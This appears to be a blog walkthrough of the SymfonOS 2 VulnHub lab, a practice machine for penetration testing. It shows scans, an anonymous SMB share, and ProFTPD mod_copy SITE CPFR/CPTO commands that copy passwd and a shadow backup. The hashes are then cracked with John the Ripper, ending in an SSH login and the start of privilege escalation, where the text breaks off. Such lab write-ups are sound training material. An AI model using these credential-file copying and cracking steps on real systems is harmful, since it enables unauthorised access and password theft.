SymfonOS 2 || VulnHub Walkthrough

Hello, everyone! Welcome back to our VulnHub Walkthrough series. In today’s article, we’ll continue exploring the exciting VulnHub collection with " SymfonOS ." Specifically, we’re diving into the second virtual machine in the series, " SymfonOS 2 ." 

This intermediate, OSCP-like, real-world scenario machine is designed to highlight the importance of understanding vulnerabilities and how to exploit them effectively. Let’s get started!

To begin, head over to the VulnHub website and download the machine's image file. 

Vulhub: Vulnerable By Design

Vulhub provides a collection of pre-built vulnerable environments. This resource is designed to help you practice penetration testing and vulnerability assessment skills on a variety of systems.

Now, let’s get started with exploiting this machine!


Setting Up

After downloading the image, extract the 7Z archive to access the virtual machine files. 

Inside, you’ll find several essential files, including the VMDK file.

Now, we are creating a new virtual machine. In VirtualBox, click "New" to create a new VM. 

Name it " SymfonOS 2," set the OS type to Linux, and choose " Other Linux 64-bit " for the version since the specific distribution is unknown.

Now, allocate the desired amount of RAM. 

Next, select " Use an existing virtual hard disk file " and locate the VMDK file.

Now, click on "Finish" to complete the setup. Once it's finished, you'll see the "SymfonOS 2" vulnerable machine in the VirtualBox manager. Let me regroup it into the VulnHub group for better organization.

To ensure that your Kali Linux machine (used for attacks) and the vulnerable machine are connected to the same network, we have to make sure they're both connected via a host-only Adapter.

So, go to “ settings ” and change the Network adapter to " Host-Only ." 

Since everything is ready, let’s attempt to start the VM to check if it works.

Once it's ready, you should see a login prompt, indicating that everything is set up and we can begin our exploration! Let's dive into the fun!


Enumeration


Identify the IP address

The first step in our attack is enumeration, where we identify the IP address of our target machine using the netdiscover tool. This step helps map the network and locate devices that are up and accessible.

To execute this, open a terminal and enter: netdiscover –i, <specify the network interface name>

┌──(kali㉿kali)-[~]
└─$ sudo netdiscover -i eth1

From these results, we can see several IP addresses along with their corresponding MAC addresses. 

 Currently scanning: 192.168.106.0/16   |   Screen View: Unique Hosts                                                                                    
                                                                                                                                                         
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                         
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.103.1   0a:00:27:00:00:14      1      60  Unknown vendor                                                                                        
 192.168.103.2   08:00:27:56:1d:82      1      60  PCS Systemtechnik GmbH                                                                                
 192.168.103.14  08:00:27:a7:d3:05      1      60  PCS Systemtechnik GmbH   

Our target machine’s IP address is identified as “ 192.168.103.14”.


Conduct Network Scan

Next, we'll conduct a network scan to identify open ports on the target, which is an essential step in the enumeration process. Identifying open ports gives us insight into the network’s attack surface, allowing us to pinpoint specific services that might be vulnerable to exploitation. To perform this scan, we’ll use the widely used network scanning tool, Nmap.

In the terminal, run: nmap -sC –sV <specify the target IP address>

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 192.168.103.14

In this command:

  • -sC initiates a script scan using Nmap's default scripts, which probe for additional details about each service and identify possible vulnerabilities.
  • -sV enables version detection, allowing Nmap to determine the version of services running on open ports.

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 23:01 EST
Nmap scan report for 192.168.103.14
Host is up (0.00045s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         ProFTPD 1.3.5
22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 9d:f8:5f:87:20:e5:8c:fa:68:47:7d:71:62:08:ad:b9 (RSA)
|   256 04:2a:bb:06:56:ea:d1:93:1c:d2:78:0a:00:46:9d:85 (ECDSA)
|_  256 28:ad:ac:dc:7e:2a:1c:f6:4c:6b:47:f2:d6:22:5b:52 (ED25519)
80/tcp  open  http        WebFS httpd 1.21
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: webfs/1.21
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
Service Info: Host: SYMFONOS2; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: SYMFONOS2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.5.16-Debian)
|   Computer name: symfonos2
|   NetBIOS computer name: SYMFONOS2\x00
|   Domain name: \x00
|   FQDN: symfonos2
|_  System time: 2024-11-15T22:01:23-06:00
| smb2-time: 
|   date: 2024-11-16T04:01:23
|_  start_date: N/A
|_clock-skew: mean: 1h59m59s, deviation: 3h27m50s, median: 0s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.54 seconds
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$

After completing the scan, the results reveal five open ports with their respective services:

  • Port 21 (TCP): Running FTP (File Transfer Protocol), with the server version identified as ProFTPD 1.3.5:  This version is known to have potential vulnerabilities, making it a high-priority target.
  • Port 22 (TCP): Running SSH (Secure Shell), which allows remote access to the device, provided valid credentials are available. While SSH itself is secure, weak or default passwords can make this port exploitable.
  • Port 80 (TCP): Running HTTP on a web server. The scan reveals a basic website with no title, hosted on WebFS HTTPD web server software. We may investigate this for web-based vulnerabilities, as it’s often a common point of entry.
  • Ports 139 and 445 (TCP): Running NetBIOS/Samba services, typically used for file and printer sharing. These ports are often linked to SMB (Server Message Block) protocol and can sometimes be misconfigured, offering unauthorized access.

These open ports provide potential entry points. Next, we’ll conduct a deeper enumeration of each service, probing for potential vulnerabilities or clues that might facilitate initial access or shell access to the server. This focused enumeration will help us strategically plan our approach to gain access to the target system.


Enumerate using NSE

To further analyze the detected ports and services, we’ll use the Nmap Scripting Engine (NSE) to scan for specific known vulnerabilities. This script-based scan leverages a collection of community-contributed vulnerability checks, allowing us to target specific vulnerabilities in our identified services.

┌──(kali㉿kali)-[~]
└─$ nmap --script vuln 192.168.103.14
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 23:02 EST
Nmap scan report for 192.168.103.14
Host is up (0.00082s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
80/tcp  open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-vuln-cve2011-3192: 
|   VULNERABLE:
|   Apache byterange filter DoS
|     State: VULNERABLE
|     IDs:  BID:49303  CVE:CVE-2011-3192
|       The Apache web server is vulnerable to a denial of service attack when numerous
|       overlapping byte ranges are requested.
|     Disclosure date: 2011-08-19
|     References:
|       https://www.securityfocus.com/bid/49303
|       https://www.tenable.com/plugins/nessus/55976
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
|_      https://seclists.org/fulldisclosure/2011/Aug/175
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-regsvc-dos: 
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
|       while working on smb-enum-sessions.
|_          
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false

Nmap done: 1 IP address (1 host up) scanned in 92.33 seconds
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$ 

This command uses the vuln script to check for known vulnerabilities on the target IP address. 


Here’s a summary of the output from our scan:

  • Apache byte-range filter DoS : This vulnerability impacts the Apache web server, making it vulnerable to a denial of service (DoS) attack. The vulnerability, CVE-2011-3192, is triggered when numerous overlapping byte ranges are requested from the server, which can cause the server to become unresponsive.
  • Microsoft regsvc Denial of Service : This vulnerability targets the regsvc service in older Microsoft Windows systems, specifically causing a null pointer to dereference. Exploiting this flaw could result in crashing the service, potentially creating an opening for further exploitation, though it’s more common on legacy systems.

With these results, we have identified several potential entry points for further exploitation. Our next steps will involve investigating each vulnerability to determine if they offer a means of gaining shell access or another foothold on the target system. 

Given the Apache DoS vulnerability on the HTTP web server, our initial focus will be on examining the web service on port 80, as it often serves as a primary access point and may expose additional attack vectors.


Web Enumeration and Directory Busting

To begin, we’ll access the web service on port 80 by entering the IP address directly into a web browser. 

Upon loading the page, we are presented with visual content that appears to be a painting, possibly from Greek or Roman mythology, featuring numerous figures— gods, goddesses, and mortals —engaged in various activities.

Now, let’s review the Page Source.

Inspecting the page source did not yield any valuable information or hidden elements that could assist in the attack. Following this, we attempted directory busting using tools like Gobuster other directory enumeration utilities to discover hidden files or directories that could serve as additional entry points. 

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.103.14/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.103.14/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$ 

However, these attempts returned no useful results. Previously, from the Nmap Scripting Engine scan, we identified an Apache Byte Range Filter DoS vulnerability. 

| http-vuln-cve2011-3192: 
|   VULNERABLE:
|   Apache byterange filter DoS
|     State: VULNERABLE
|     IDs:  BID:49303  CVE:CVE-2011-3192
|       The Apache web server is vulnerable to a denial of service attack when numerous
|       overlapping byte ranges are requested.
|     Disclosure date: 2011-08-19
|     References:
|       https://www.securityfocus.com/bid/49303
|       https://www.tenable.com/plugins/nessus/55976
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
|_      https://seclists.org/fulldisclosure/2011/Aug/175

While this vulnerability can be used to perform a denial-of-service (DoS) attack by sending numerous overlapping byte-range requests to crash or overload the server, it does not offer a direct method for obtaining shell access or gaining a foothold on the server.

Next, moving forward, we will continue to methodically examine each service and its identified vulnerabilities to determine the most promising approach for further penetration. Our strategy will focus on identifying weak points that are more likely to provide access rather than cause disruption, as our goal is to achieve a stable entry rather than impair functionality. By prioritizing these avenues, we can refine our approach to target the most viable points of exploitation.


FTP Enumeration

From our network mapping, we identified that Port 21 is open, indicating an FTP service is active. 

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         ProFTPD 1.3.5

We can connect to it using an FTP client, but access requires a username and password, which we currently don’t have. In such cases, a brute-force attack could be attempted to discover the correct credentials, but this approach is often discouraged in Capture the Flag (CTF) challenges. Instead, we aim to exploit any misconfiguration or vulnerability present.

A common misconfiguration in FTP services is leaving anonymous login enabled, which allows access using " anonymous " as the username. This oversight is often due to a default setting that hasn’t been changed by the system administrator.

If you’re unfamiliar with how this misconfiguration might occur, you can watch this video for further insights.

How Hackers Attempt Login Using Password Lists

Understand how hackers use password lists to attempt unauthorized logins. This guide explores the techniques and tools utilized for brute force attacks, emphasizing the importance of strong password policies and preventive measures to secure systems.

Let's try with the anonymous username.

┌──(kali㉿kali)-[~]
└─$ ftp 192.168.103.14
Connected to 192.168.103.14.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.103.14]
Name (192.168.103.14:kali): anonymous
331 Anonymous login ok, send your complete email address as your password
Password: 

Upon trying to attempt to log in with the lowercase username "anonymous," the FTP server responded with:

331 Anonymous login ok, send your complete email address as your password

This response confirms that anonymous access is allowed, providing us with a way to explore the FTP directory without needing specific user credentials.

FTP servers that allow anonymous login often require an email address as the password, but this input is not strictly verified. In this case, any string can be used as the password to proceed. 

Password: 
530 Login incorrect.
ftp: Login failed
ftp> 

Once logged in, we can leverage FTP's SITE commands to explore additional functionalities and possibilities for exploitation. During our review, we noticed the FTP service is running ProFTPD version 1.3.5, an older version with a history of vulnerabilities. 

To explore potential exploits, we used searchsploit, a tool for locating public exploit code for known vulnerabilities. 

┌──(kali㉿kali)-[~]
└─$ searchsploit ProFTPD 1.3.5
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                          |  Path
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)                                                               | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                                                                     | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)                                                                 | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                                                                               | linux/remote/36742.txt
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$ 

Running the appropriate search command in the terminal revealed several exploits linked to this ProFTPD version, particularly involving the mod_copy module.

The search results highlighted a File Copy vulnerability that allows attackers to copy sensitive files to directories accessible via FTP. This exploit could be used to retrieve files such as /etc/shadow , which contains hashed passwords.

To examine this vulnerability further, we downloaded the corresponding exploit text file using:

searchsploit -m linux/remote/36742.txt

┌──(kali㉿kali)-[~]
└─$ searchsploit -m linux/remote/36742.txt
  Exploit: ProFTPd 1.3.5 - File Copy
      URL: https://www.exploit-db.com/exploits/36742
     Path: /usr/share/exploitdb/exploits/linux/remote/36742.txt
    Codes: CVE-2015-3306, OSVDB-120834
 Verified: True
File Type: ASCII text
Copied to: /home/kali/36742.txt
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$ 

This command retrieves the exploit documentation, which we can analyze for exploitation instructions.

The document outlines the process of copying sensitive files into accessible directories on the FTP server, enabling unauthorized access to critical data.

While this exploit seems promising, a significant challenge remains: determining a directory accessible to the anonymous FTP user for downloading the copied files. Since we are logged in as an anonymous user without elevated privileges, our access is restricted to specific locations. Identifying these directories will be crucial to successfully exfiltrate any copied files.

At this point, further exploration of the FTP server has not yielded a usable directory for file copying. As a result, we will pivot to other open ports, particularly the SMB (Samba) services running on ports 139 and 445. 

PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)

These services often contain shared resources that, if misconfigured, could reveal sensitive information or provide another entry point into the system.


Enumerating SMB (Samba) service

By systematically investigating these services and correlating findings, we aim to uncover additional leads that may allow us to exploit identified vulnerabilities or gain a foothold in the system.

Sometimes, due to misconfigurations, files or directories on SMB share may be unintentionally exposed, allowing access without authentication. To explore this possibility, we use the smbclient tool, which allows us to list available SMB shares on the target system. 

┌──(kali㉿kali)-[~]
└─$ smbclient -L 192.168.103.14 -N

  • The -N flag is used to bypass the need for a username or password when listing shares.

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        anonymous       Disk      
        IPC$            IPC       IPC Service (Samba 4.5.16-Debian)
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            SYMFONOS2
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$

The scan reveals the following shared directories:

  • print$: Used for printer drivers, generally not containing sensitive data.
  • anonymous: An open share, potentially misconfigured and accessible without authentication. This share may hold valuable data.
  • IPC$: Utilized for inter-process communication, unlikely to store files of interest.

Given the open nature of the anonymous share, we attempt to connect using the following command:

smbclient '\\192.168.103.6\anonymous' -N

┌──(kali㉿kali)-[~]
└─$ smbclient '\\192.168.103.14\anonymous' -N
Try "help" to get a list of possible commands.
smb: \> 

The connection succeeds, confirming the share does not require authentication. Once inside, we list the files and directories within the anonymous share. 

smb: \> ls
  .                                   D        0  Thu Jul 18 10:30:09 2019
  ..                                  D        0  Thu Jul 18 10:29:08 2019
  backups                             D        0  Thu Jul 18 10:25:17 2019

                19728000 blocks of size 1024. 16314072 blocks available
smb: \> 

A directory named backups catches our attention, as it could contain sensitive system data. 

smb: \> cd backups
smb: \backups\> ls
  .                                   D        0  Thu Jul 18 10:25:17 2019
  ..                                  D        0  Thu Jul 18 10:30:09 2019
  log.txt                             N    11394  Thu Jul 18 10:25:16 2019

                19728000 blocks of size 1024. 16314072 blocks available
smb: \backups\>

Upon navigating into this directory, we find a file named log.txt , which appears to be significant.

smb: \backups\> get log.txt
getting file \backups\log.txt of size 11394 as log.txt (31.1 KiloBytes/sec) (average 31.1 KiloBytes/sec)
smb: \backups\>

After downloading the file for analysis, the contents revealed critical information:

  • Shadow File Backup Location: The log indicated that the root user backed up the shadow file, which contains hashed passwords, to the directory /var/backups . This is a valuable lead for compromising credentials.

  • User Accounts and Another Share: The file included a list of available users on the system and a reference to another SMB share at /home/aeolus/share , presenting an additional entry point for exploration.

With the file path to the shadow file (/var/backups) identified during our investigation and other leads gathered from SMB shares, we can now focus on leveraging the FTP service previously accessed using the anonymous login method. 

This step involves exploiting FTP-specific features to retrieve sensitive files, such as the shadow file, and placing them in an accessible directory.


Exploiting Mod_copy

Our approach involves correlating information from various sources, such as SMB shares and open services, to uncover weaknesses that can be exploited systematically. 

The goal is to use the FTP server’s mod copy vulnerability features to move sensitive files to a directory accessible via the SMB share, building toward compromising the target system.

FTP servers often recognize specific  SITE commands that perform administrative operations, such as file transfers. 

We use the  site help  command to display the available SITE commands, which provide a list of recognized commands.

ftp> site help
214-The following SITE commands are recognized (* =>'s unimplemented)                                                                                     
 CPFR <sp> pathname                                                                                                                                       
 CPTO <sp> pathname                                                                                                                                       
 HELP                                                                                                                                                     
 CHGRP                                                                                                                                                    
 CHMOD                                                                                                                                                    
214 Direct comments to root@symfonos2                                                                                                                     
ftp> 

Among them,  CPFR  and  CPTO  stand out as useful for file operations.

In this case, we’ll use the CPFR ("Copy From Remote") and CPTO ("Copy To Remote") commands to copy files from the FTP server to a directory accessible to the SMB share, /home/aeolus/share.


Copy the /etc/passwd File

The /etc/passwd file contains information about user accounts. Using CPFR and CPTO, we copy this file to the /home/aeolus/share directory.

  • Initiate copy from the source:   site cpfr /etc/passwd.  

ftp> site CPFR /etc/passwd                                                                                                                                
350 File or directory exists, ready for destination name                                                                                                  
ftp> 

The server responds, confirming the file is ready to be copied.

  • Copy to the target directory:   site cpto /home/aeolus/share/passwd.  

ftp> site CPTO /home/aeolus/share/passwd                                                                                                                  
250 Copy successful                                                                                                                                       
ftp> 

The server indicates a successful copy.


Copy /var/backups/shadow.bak

The shadow.bak file, located in /var/backups , contains password hashes critical for privilege escalation. We repeat the steps.

  • Initiate copy from the source:   site cpfr /var/backups/shadow.bak

ftp> site CPFR /var/backups/shadow.bak
350 File or directory exists, ready for destination name                                                                                                  
ftp> 

  • Copy to the target directory:    site cpto /home/aeolus/share/shadow.bak

ftp> site CPTO /home/aeolus/share/shadow.bak                                                                                                              
250 Copy successful                                                                                                                                       
ftp> 

This operation is also successful, making the file accessible. 

We have now successfully copied two important files, passwd,   and  shadow.bak, to the /home/aeolus/share directory. 


Retrieve the Copied File

With the sensitive files copied to /home/aeolus/share , we switch back to the SMB service to retrieve them.

Previously, we explored the backups directory within the anonymous SMB share. To access the new files:

Navigate to the parent directory by executing: cd .. , and list all available files and directories using ls 

smb: \backups\> cd ..
smb: \> ls                                                                                                                                                
  .                                   D        0  Fri Nov 15 23:26:15 2024                                                                                
  ..                                  D        0  Thu Jul 18 10:29:08 2019                                                                                
  passwd                              N     1614  Fri Nov 15 23:24:31 2024                                                                                
  backups                             D        0  Thu Jul 18 10:25:17 2019                                                                                
  shadow.bak                          N     1173  Fri Nov 15 23:26:16 2024                                                                                
                                                                                                                                                          
                19728000 blocks of size 1024. 16314060 blocks available                                                                                   
smb: \>                                                                                                                                        

The files passwd and shadow.bak are now visible in the directory. Now, let’s retrieve the files to the local machine. To retrieve the files to the local machine, we use the get command. 

smb: \> get passwd                                                                                                                                        
getting file \passwd of size 1614 as passwd (394.0 KiloBytes/sec) (average 35.1 KiloBytes/sec)                                                            
smb: \> get shadow.bak                                                                                                                                    
getting file \shadow.bak of size 1173 as shadow.bak (381.8 KiloBytes/sec) (average 37.9 KiloBytes/sec)                                                    
smb: \> 

After downloading, we verify the files on our local machine by listing files and directories.

┌──(kali㉿kali)-[~]
└─$ ls
36742.txt  log.txt  passwd  shadow.bak
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$

The files passwd and shadow.bak are successfully saved.  These files contain valuable information:

  • The passwd file contains the Lists of user accounts. 
  • The shadow.bak file contains password hashes, which can be cracked using tools like John the Ripper or hashcat to obtain plaintext passwords.

With this password in hand, we can successfully gain a foothold on the target system.


Foothold

Retrieve the Password using John The Ripper

Before proceeding with the analysis of the shadow.bak file, we need to confirm its format and contents to ensure it is suitable for password cracking.

Using the file command, we check the file type. 

┌──(kali㉿kali)-[~]
└─$ file shadow.bak 
shadow.bak: ASCII text
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$

The output confirms that shadow.bak is an ASCII text file, indicating it contains plain text data.

┌──(kali㉿kali)-[~]
└─$ cat shadow.bak 
root:$6$VTftENaZ$ggY84BSFETwhissv0N6mt2VaQN9k6/HzwwmTtVkDtTbCbqofFO8MVW.IcOKIzuI07m36uy9.565qelr/beHer.:18095:0:99999:7:::
daemon:*:18095:0:99999:7:::
bin:*:18095:0:99999:7:::
sys:*:18095:0:99999:7:::
sync:*:18095:0:99999:7:::
games:*:18095:0:99999:7:::
man:*:18095:0:99999:7:::
lp:*:18095:0:99999:7:::
mail:*:18095:0:99999:7:::
news:*:18095:0:99999:7:::
uucp:*:18095:0:99999:7:::
proxy:*:18095:0:99999:7:::
www-data:*:18095:0:99999:7:::
backup:*:18095:0:99999:7:::
list:*:18095:0:99999:7:::
irc:*:18095:0:99999:7:::
gnats:*:18095:0:99999:7:::
nobody:*:18095:0:99999:7:::
systemd-timesync:*:18095:0:99999:7:::
systemd-network:*:18095:0:99999:7:::
systemd-resolve:*:18095:0:99999:7:::
systemd-bus-proxy:*:18095:0:99999:7:::
_apt:*:18095:0:99999:7:::
Debian-exim:!:18095:0:99999:7:::
messagebus:*:18095:0:99999:7:::
sshd:*:18095:0:99999:7:::
aeolus:$6$dgjUjE.Y$G.dJZCM8.zKmJc9t4iiK9d723/bQ5kE1ux7ucBoAgOsTbaKmp.0iCljaobCntN3nCxsk4DLMy0qTn8ODPlmLG.:18095:0:99999:7:::
cronus:$6$wOmUfiZO$WajhRWpZyuHbjAbtPDQnR3oVQeEKtZtYYElWomv9xZLOhz7ALkHUT2Wp6cFFg1uLCq49SYel5goXroJ0SxU3D/:18095:0:99999:7:::
mysql:!:18095:0:99999:7:::
Debian-snmp:!:18095:0:99999:7:::
librenms:!:18095::::::
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$ 

Upon opening the file, we observe that it contains hashed password data for system users, including accounts such as aeolus and  Cronus , alongside system accounts.

The password hashes are in the SHA-512 crypt format , identified by the prefix $6$ , which is commonly used for Linux systems.  

To crack these password hashes, we’ll use the popular tool John the Ripper . 


Renaming the File for Simplicity

For better organization, we rename shadow.bak to shadow .

┌──(kali㉿kali)-[~]
└─$ mv shadow.bak shadow     
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$

Combine passwd and shadow with unshadow

To prepare the hashes for cracking, we need to combine the passwd file (containing usernames) with the shadow file (containing hashed passwords). This is done using the unshadow command.

┌──(kali㉿kali)-[~]
└─$ unshadow passwd shadow > hash.txt
Created directory: /home/kali/.john
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$ 

The unshadow command creates a new file, hash.txt, which includes user accounts and their corresponding password hashes in a format that John the Ripper can process.

We now use John the Ripper to crack the hashes in hash.txt. 

┌──(kali㉿kali)-[~]
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sergioteamo      (aeolus)     
1g 0:00:00:44 0.28% (ETA: 03:51:15) 0.02266g/s 1105p/s 2785c/s 2785C/s Twinkle..trudy
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$ 

John the Ripper begins analyzing the hashes and attempting to crack them using its default wordlist. The tool outputs any successfully cracked passwords to the terminal.

The output reveals that the password for the aeolus account has been successfully cracked. The cracked password for aeolus is sergioteamo.

With the cracked password for the aeolus account, sergioteamo, we are now ready to establish access to the target system via SSH.


Establish the SSH connection

To initiate the login process, use ssh [email protected] command. Since this is the first time connecting to the server, the system will prompt us to confirm the authenticity of the host. This is a security measure to prevent man-in-the-middle attacks. We confirm by typing yes when prompted.

After confirming the host, we are prompted to enter the password for the   Aeolus   account. We enter the cracked password  sergioteamo . 

┌──(kali㉿kali)-[~]
└─$ ssh [email protected]                
The authenticity of host '192.168.103.14 (192.168.103.14)' can't be established.
ED25519 key fingerprint is SHA256:bVM6iESUngv842ilwZ5pthpPxRaIrgL4RxNNbnBFssQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.103.14' (ED25519) to the list of known hosts.
[email protected]'s password: 
Linux symfonos2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u3 (2019-06-16) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 18 08:52:59 2019 from 192.168.201.1
aeolus@symfonos2:~$

Upon successfully entering the password, we gain access to the  aeolus   account on the target server. We can now ready to access the user flag if present in Aeolus's home directory. So, list the files and directory.

aeolus@symfonos2:~$ ls -al
total 24
drwxr-xr-x 3 aeolus aeolus 4096 Jul 18  2019 .
drwxr-xr-x 4 root   root   4096 Jul 18  2019 ..
lrwxrwxrwx 1 root   root      9 Jul 18  2019 .bash_history -> /dev/null
-rw-r--r-- 1 aeolus aeolus  220 Jul 18  2019 .bash_logout
-rw-r--r-- 1 aeolus aeolus 3526 Jul 18  2019 .bashrc
-rw-r--r-- 1 aeolus aeolus  675 Jul 18  2019 .profile
drwxr-xr-x 3 aeolus aeolus 4096 Nov 15 22:26 share
aeolus@symfonos2:~$ 

However, we do not find the user flag in the expected location. Here, there is a directory that catches my eye. Let me navigate to it. 

aeolus@symfonos2:~$ cd share/
aeolus@symfonos2:~/share$ ls -al
total 20
drwxr-xr-x 3 aeolus aeolus 4096 Nov 15 22:26 .
drwxr-xr-x 3 aeolus aeolus 4096 Jul 18  2019 ..
drwxr-xr-x 2 aeolus aeolus 4096 Jul 18  2019 backups
-rw-r--r-- 1 aeolus aeolus 1614 Nov 15 22:24 passwd
-rw-r--r-- 1 aeolus aeolus 1173 Nov 15 22:26 shadow.bak
aeolus@symfonos2:~/share$

Oh! It looks like, we have accessed the backup share which we previously accessed from the SMB client.

aeolus@symfonos2:~/share$ cd ..
aeolus@symfonos2:~$ 

Since the user flag is not present, it is a good opportunity to shift our focus to the root flag. It may be hidden or located in another directory, and accessing root-level privileges will be key to further progressing in the challenge.

We will now explore potential methods for escalating our privileges to root and uncovering any further valuable information on the server.


Privilege Escalation

The first step in privilege escalation is to gather critical information about the system. By identifying vulnerabilities or misconfigurations, we can elevate our privileges and gain root access. Below, we will go through key steps to check the current user's permissions and identify potential attack vectors.

To begin, we need to determine what privileges the current user has. We can do this by running commands that display the user's rights, such as sudo -l and id.

Now, let me run  the  command. 

aeolus@symfonos2:~$ id
uid=1000(aeolus) gid=1000(aeolus) groups=1000(aeolus),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)                            
aeolus@symfonos2:~$ 

The id command reveals the current user's details, including the user ID (UID), group ID (GID), and the groups to which the user belongs. This is useful for understanding the user context we are working in.

Upon running this, we discover that both the UID and group belong to the user  Aeolus .

Next, we check the permissions of the aeolus user by running the sudo -l command. 

aeolus@symfonos2:~$ sudo -l
[sudo] password for aeolus:                                                                                                                               
Sorry, user aeolus may not run sudo on symfonos2.                                                                                                         
aeolus@symfonos2:~$

This shows what commands the user can execute with elevated privileges, if any.

From the output, we see that aeolus cannot run any commands with sudo privileges on the system ( symfonos2 ). This limits our ability to escalate privileges directly, so we need to explore other potential methods.

Since the aeolus account lacks sudo access, we need to investigate further to identify any other accounts on the system that may provide a pathway for privilege escalation. 

By navigating to the /home directory and listing its contents, we discover another directory named cronus in addition to aeolus. 

aeolus@symfonos2:~$ cd /home/                                                                                                                             
aeolus@symfonos2:/home$ ls -al                                                                                                                            
total 16                                                                                                                                                  
drwxr-xr-x  4 root   root   4096 Jul 18  2019 .                                                                                                           
drwxr-xr-x 22 root   root   4096 Jul 18  2019 ..                                                                                                          
drwxr-xr-x  3 aeolus aeolus 4096 Jul 18  2019 aeolus                                                                                                      
drwxr-xr-x  2 cronus cronus 4096 Jul 18  2019 cronus                                                                                                      
aeolus@symfonos2:/home$

This suggests the presence of a second user,  Cronus , whose account may have elevated permissions.

Previously, attempts to crack the password for cronus using John the Ripper were unsuccessful. However, this account might still hold the necessary privileges for escalation. 

Exploring the cronus directory reveals no flags or clues, indicating that we need to find a way to switch to the cronus user for further investigation.

Escalate to user, Cronus

